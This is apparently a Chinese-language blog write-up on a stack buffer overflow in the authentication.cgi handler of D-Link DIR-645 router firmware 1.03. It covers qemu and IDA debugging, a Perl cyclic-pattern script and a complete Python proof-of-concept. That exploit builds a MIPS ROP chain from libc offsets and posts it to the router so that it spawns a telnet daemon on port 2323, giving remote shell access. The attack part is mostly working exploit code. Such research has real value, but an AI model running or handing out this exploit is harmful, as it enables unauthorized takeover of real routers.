D-Link DIR-645路由器溢出分析
1
漏洞介紹
該漏洞是CGI腳本在處理authentication.cgi請求,來讀取POST參數中的"password"參數的值時造成的緩沖區溢出。
2
固件提取文件系統
固件下載:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP

3
qemu+IDA調試分析
1、run_cgi.sh腳本:
#!/bin/bash
# 待執行命令
# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"
INPUT="$1" # 參數1,uid=A21G&password=1160個A
TEST="$2" # 參數2,uid=A21G
LEN=$(echo -n "$INPUT" | wc -c) # 參數1的長度
PORT="1234" # 監聽的調試端口
# 用法錯誤則提示
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "Usage: sudo $0 "
exit 1
fi
# 復制qemu-mipsel-static到本目錄并重命名,注意是static版本
cp $(which qemu-mipsel-static) ./qemu
echo $TEST
# | 管道符:前者輸出作為后者輸入
# chroot 將某目錄設置為根目錄(邏輯上的)
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/authentication.cgi
echo 'run ok'
rm -f ./qemu # 刪除拷貝過來的執行文件
2、調試目標程序需要匹配正確。

3、IDA分析,追蹤問題函數

4、填充數據調試

IDA調試參考:

獲得&ra在棧上的地址(這是非子葉函數的性質):

F8執行觀察,直到棧上保存&ra的數據內容發送變化(可猜測這里可能時溢出點):

注意:為了防止后面可能出現二次溢出,或則其他處溢出才是真正影響被程序被控制的位置,我們繼續F8執行觀察。
程序異常結束了,發現時a1寄存器的值是棧上的,大概猜測一下是我們填充的值太大影響到了這位置上的值。
5、看看a1正常的內容讀取:

縮短填充內容的長度,重新調試:

程序走到authenticationcgi_main的返回位置才退出:
如果需要看到更明顯的步驟,可以自己找到此處再下個斷點。


結論:真實溢出位置就是read()函數引起的。
6、分析read()函數上下文傳入傳出數據。
先到read()函數跳轉處分析參數的來源與目的地:

分析方法:由于MIPS是流水線執行指令順序,尋找參數先到函數跳轉處先向下查找參數,然受再向上查找參數。

最終得到read()函數原型:read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))
7、注var_430計算大小方式,根據棧中變量的順序去計算:

至此漏洞定位分析完,起始后面還有些危險函數可能存在危險溢出點需要驗證,不過方法都無非是構造數據填充加上調試觀察構造的數據位置。由于后面的函數都達不到溢出,所以就不附上步驟了。
根據漏洞描述,POST提交數據時,并不是任意格式的數據都能造成緩存區溢出,需要”id=XX&&password=XX“形式的格式。
驗證分析:

程序異常退出在此處,分析:

在向上分析,發現數據最終來源與$s2相關的數據,雙擊進入,發現固定格式,讀取后面數據為strlen服務:

更改回要求的形式獲得結果:


4
漏洞利用
1、調試確定偏移
這里分享個更方便的腳本patter.pl腳本生成構造數據:
#!/usr/bin/perl -w
use strict;
# Generate/Search Pattern (gspattern.pl) v0.2
# Scripted by Wasim Halani (washal)
# Visit me at https://securitythoughts.wordpress.com/
# Thanks to hdm and the Metasploit team
# Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials
# This script is to be used for educational purposes only.
my $ustart = 65;
my $uend = 90;
my $lstart = 97;
my $lend = 122;
my $nstart = 0;
my $nend = 9;
my $length ;
my $string = "";
my ($upper, $lower, $num);
my $searchflag = 0;
my $searchstring;
sub credits(){
print "Generate/Search Pattern ";
print "Scripted by Wasim Halani (washal)";
print "https://securitythoughts.wordpress.com/";
print "Version 0.2";
}
sub usage(){
credits();
print " Usage: ";
print " gspattern.pl ";
print " Will generate a string of given length. ";
print "";
print " gspattern.pl ";
print " Will generate a string of given length,";
print " and display the offsets of pattern found.";
}
sub generate(){
credits();
$length = $ARGV[0];
#print "Generating string for length : " .$length . "";
if(length($string) == $length){
finish();
}
#looping for the uppercase
for($upper = $ustart; $upper <= $uend;$upper++){
$string =$string.chr($upper);
if(length($string) == $length){
finish();
}
#looping for the lowercase
for($lower = $lstart; $lower <= $lend;$lower++){
$string =$string.chr($lower);
if(length($string) == $length){
finish();
}
#looping for the numeral
for($num = $nstart; $num <= $nend;$num++){
$string = $string.$num;
if(length($string) == $length){
finish();
}
$string = $string.chr($upper);
if(length($string) == $length){
finish();
}
if($num != $nend){
$string = $string.chr($lower);
}
if(length($string) == $length){
finish();
}
}
}
}
}
sub search(){
my $offset = index($string,$searchstring);
if($offset == -1){
print "Pattern '".$searchstring."' not found";
exit(1);
}
else{
print "Pattern '".$searchstring."' found at offset(s) : ";
}
my $count = $offset;
print $count." ";
while($length){
$offset = index($string,$searchstring,$offset+1);
if($offset == -1){
print "";
exit(1);
}
print $offset ." ";
$count = $count + $offset;
}
print "";
exit(1);
}
sub finish(){
print "String is : ".$string ."";
if($searchflag){
search();
}
exit(1);
}
if(!$ARGV[0]){
usage();
#print "Going into usage..";
}
elsif ($ARGV[1]){
$searchflag = 1;
$searchstring = $ARGV[1];
generate();
#print "Going into pattern search...";
}
else {
generate();
#print "Going into string generation...";
}
2、patter.pl腳本使用方法
有兩種操作模式:
只提供一個參數,即要生成的字符串的長度( ./ gspattern.pl [length of string] )
字符串的長度和要找到偏移量的模式提供(./ gspattern.pl [字符串長度] [搜索模式])
注(搜索模式):獲得要計算偏移溢出位置的hex值,轉化為ASCII碼。(記住一定要根據大小端序來輸入,下面步驟中已舉例)
3、生成構造數據(我直接寫入文件了,它把description也一塊寫入了,需要進去刪除下)
./pattern.pl 1160 > test_auth
調試確定需要的偏移位置值:
sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+open('test_auth','r').read(1160)"` "uid=A21G"

將0x38684237 轉成對應ASCII碼:8hB7

4、構造ROP參考:家用路由器漏洞挖掘實例分析
5、POC
import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib
class MIPSPayload:
BADBYTES = [0x00]
LITTLE = "little"
BIG = "big"
FILLER = "A"
BYTES = 4
def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
self.libase = libase
self.shellcode = ""
self.endianess = endianess
self.badbytes = badbytes
def rand_text(self, size):
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 1
random = Random()
for i in range(size):
str += chars[random.randint(0,length)]
return str
def Add(self, data):
self.shellcode += data
def Address(self, offset, base=None):
if base is None:
base = self.libase
return self.ToString(base + offset)
def AddAddress(self, offset, base=None):
self.Add(self.Address(offset, base))
def AddBuffer(self, size, byte=FILLER):
self.Add(byte * size)
def AddNops(self, size):
if self.endianess == self.LITTLE:
self.Add(self.rand_text(size))
else:
self.Add(self.rand_text(size))
def ToString(self, value, size=BYTES):
data = ""
for i in range(0, size):
data += chr((value >> (8*i)) & 0xFF)
if self.endianess != self.LITTLE:
data = data[::-1]
return data
def Build(self):
count = 0
for c in self.shellcode:
for byte in self.badbytes:
if c == chr(byte):
raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
count += 1
return self.shellcode
def Print(self, bpl=BYTES):
i = 0
for c in self.shellcode:
if i == 4:
print ""
i = 0
sys.stdout.write("\\x%.2X" % ord(c))
sys.stdout.flush()
if bpl > 0:
i += 1
print ""
class HTTP:
HTTP = 'http'
def __init__(self, host, proto=HTTP, verbose=False):
self.host = host
self.proto = proto
self.verbose = verbose
self.encode_params = True
def Encode(self, data):
#just for DIR645
if type(data) == dict:
pdata = []
for k in data.keys():
pdata.append(k + '=' + data[k])
data = pdata[1] + '&' + pdata[0]
else:
data = urllib.quote_plus(data)
return data
def Send(self, uri, headers={}, data=None, response=False,encode_params=True):
html = ""
if uri.startswith('/'):
c = ''
else:
c = '/'
url = '%s://%s' % (self.proto, self.host)
uri = '/%s' % uri
if data is not None:
data = self.Encode(data)
#print data
if self.verbose:
print url
httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
httpcli.request('POST',uri,data,headers=headers)
response=httpcli.getresponse()
print response.status
print response.read()
if __name__ == '__main__':
libc = 0x2aaf8000 # so動態庫的加載基址
target = {
"1.03" : [
0x531ff, # 偽system函數地址(只不過-1了,曲線救國,避免地址出現00截斷字符
0x158c8, # rop chain 1(將偽地址+1,得到真正的system地址,曲線救國的跳板
0x159cc, # rop chain 2(執行system函數,傳參cmd以執行命令
],
}
v = '1.03'
cmd = 'telnetd -p 2323' # 待執行的cmd命令:在2323端口開啟telnet服務
ip = '192.168.0.1' # 服務器IP地址//here
# 構造payload
payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
payload.AddNops(1011) # filler # 7. 填充1011個字節,$s0偏移為1014,129行target數組中地址只占了3,04-3=01
payload.AddAddress(target[v][0], base=libc) # $s0
payload.AddNops(4) # $s1
payload.AddNops(4) # $s2
payload.AddNops(4) # $s3
payload.AddNops(4) # $s4
payload.AddAddress(target[v][2], base=libc) # $s5
payload.AddNops(4) # unused($s6)
payload.AddNops(4) # unused($s7)
payload.AddNops(4) # unused($fp) #<<揭秘家用路由器0day漏洞挖掘技術>>這里是$gp,可能是作者筆誤吧,實際驗證應該是$fp,下面注釋給出驗證數據。
payload.AddAddress(target[v][1], base=libc) # $ra
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.Add(cmd) # shellcode
# 構造http數據包
pdata = {
'uid' : '3Ad4',
'password' : 'AbC' + payload.Build(),
}
header = {
'Cookie' : 'uid='+'3Ad4',
'Accept-Encoding': 'gzip, deflate',
'Content-Type' : 'application/x-www-form-urlencoded',
'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
}
# 發起http請求
try:
HTTP(ip).Send('authentication.cgi', data=pdata,headers=header,encode_params=False,response=True)
print '[+] execute ok'
except httplib.BadStatusLine:
print "Payload deliverd."
except Exception,e:
print "2Payload delivery failed: %s" % str(e)
注釋:棧內數據對應寄存器

5
qemu開啟仿真環境
1、打開qemu系統
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
2、利用SCP把路由系統文件傳過去,之前文章有寫過,不清楚的請看參考鏈接。
3、開始仿真環境前準備
掛載固件文件系統中的proc目錄和dev目錄到chroot環境,因為proc中存儲著進程所需的文件,比如pid文件等等,而dev中存儲著相關的設備:
mount -o bind /dev ./squashfs-root/dev mount -t proc /proc ./squashfs-root/proc/ chroot ./squashfs-root/ sh
然后進入/etc/init.d/目錄下,執行./rcS(init.d文件夾下存儲的是啟動的時候初始化服務和環境rcS文件)啟動:
然后根據報錯提示去修復:

當然用別的仿真環境跑起來也都一樣運行,這里我沒啟動成功,主要是分析漏洞整個流程。關于如何更好的仿真實現開啟路由環境,歡迎大家交流。